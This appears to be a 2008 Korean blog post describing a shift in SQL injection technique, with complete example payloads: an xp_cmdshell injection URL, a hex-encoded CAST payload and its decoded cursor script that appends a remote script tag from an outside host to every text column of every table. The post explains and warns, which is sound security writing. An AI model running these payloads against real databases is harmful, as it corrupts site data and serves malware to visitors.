2008/05/28

해킹사례 - SQL Injection 방법 변화

예전에는, 아래과 같은 방법 이었습니다.

물론 지금도 간혹 시도를 하기는 하나, 해당 웹사이트 취약점이 있는지 간을 보기 위해서 하는 경우 외에는 잘 안하는 듯...;; --> 툴이 업데이트 되서 그렇겠지만..

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;CREATE
TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--

이렇게 하면,. 쿼리문이 평문 형태로 그대로 전달되기 때문에 웹코드에서 일부 처리가 되어 있는 경우 차단 됩니다. 그리고 주로 xp_cmdshell 를 많이 이용.

그렇지만,. 최근에는 실제 실행할 쿼리문을 바이너리형으로 형변환을 해서 쿼리를 실행하는 방법이 주로 사용되고 있습니다. 그리고 기존 데이터에 스크립트 문자열을 추가하는 방법.

select CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200
280032003500350029002C0040004300200076006100720063006800610072002800320
035003500290020004400450043004C0041005200450020005400610062006C0065005
F0043007500720073006F007200200043005500520053004F005200200046004F005200
2000730065006C00650063007400200061002E006E0061006D0065002C0062002E006
E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630
074007300200061002C0073007900730063006F006C0075006D006E007300200062002
00077006800650072006500200061002E00690064003D0062002E00690064002000610
06E006400200061002E00780074007900700065003D00270075002700200061006E006
4002000280062002E00780074007900700065003D003900390020006F0072002000620
02E00780074007900700065003D003300350020006F007200200062002E00780074007
900700065003D0032003300310020006F007200200062002E007800740079007000650
03D00310036003700290020004F00500045004E0020005400610062006C0065005F00
43007500720073006F00720020004600450054004300480020004E0045005800540020
00460052004F004D00200020005400610062006C0065005F0043007500720073006F0
07200200049004E0054004F002000400054002C004000430020005700480049004C00
4500280040004000460045005400430048005F005300540041005400550053003D0030
002900200042004500470049004E002000650078006500630028002700750070006400
61007400650020005B0027002B00400054002B0027005D00200073006500740020005
B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006
E007600650072007400280076006100720063006800610072002C005B0027002B0040
0043002B0027005D00290029002B00270027003C0073006300720069007000740020
007300720063003D0068007400740070003A002F002F007700770077002E0064006F
0074006100310031002E0063006E002F006D002E006A0073003E003C002F0073006
30072006900700074003E0027002700270029004600450054004300480020004E00450
0580054002000460052004F004D00200020005400610062006C0065005F0043007500
720073006F007200200049004E0054004F002000400054002C0040004300200045004
E004400200043004C004F005300450020005400610062006C0065005F00430075007
20073006F00720020004400450041004C004C004F004300410054004500200054006
10062006C0065005F0043007500720073006F007200 AS nvarchar(4000))


최소한의 실행에 필요한 쿼리문외에 모두 바이너리로 변환을 해서 던져 줍니다. 다만,. 이게 GET 으로 넘기는게 아니라 최근에는 POST 로 넘기는 경우도 꾀 많다는 것...;;

문자열로 변환을 해보면 다음과 같습니다.

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.dota11.cn/m.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

위와 함께,. 요즘엔 사이트에 노출된 테이블에 대해서 해당 테이블에 있는 특정 컬럼의 모든 레코드에 스크립트 코드를 삽입하는 경우입니다.



SQL 쿼리에 대해서 초중급자 들도 알수 있는 내용으로 커서를 이용한 방법입니다.

무식하게,. <script src=http://www.dota11.cn/m.js></script> 를 무조건 때려 넣는 경우라서 기존에 들어가 있는 문자열과 짬봉이 되서 실제 웹페이지에서 스크립트로 실행되는 경우가 적기는 하지만 특정 레코드에서는 실행되는 경우가 있어서 위험 합니다.

해킹된 사이트중에, 현재 구글에 크롤링되어 있는 검색 결과가 약 173,000 여개로 매우 많은 사이트가 해킹되어 있습니다.

[검색결과보기]


댓글 없음:

댓글 쓰기

가장 많이 본 글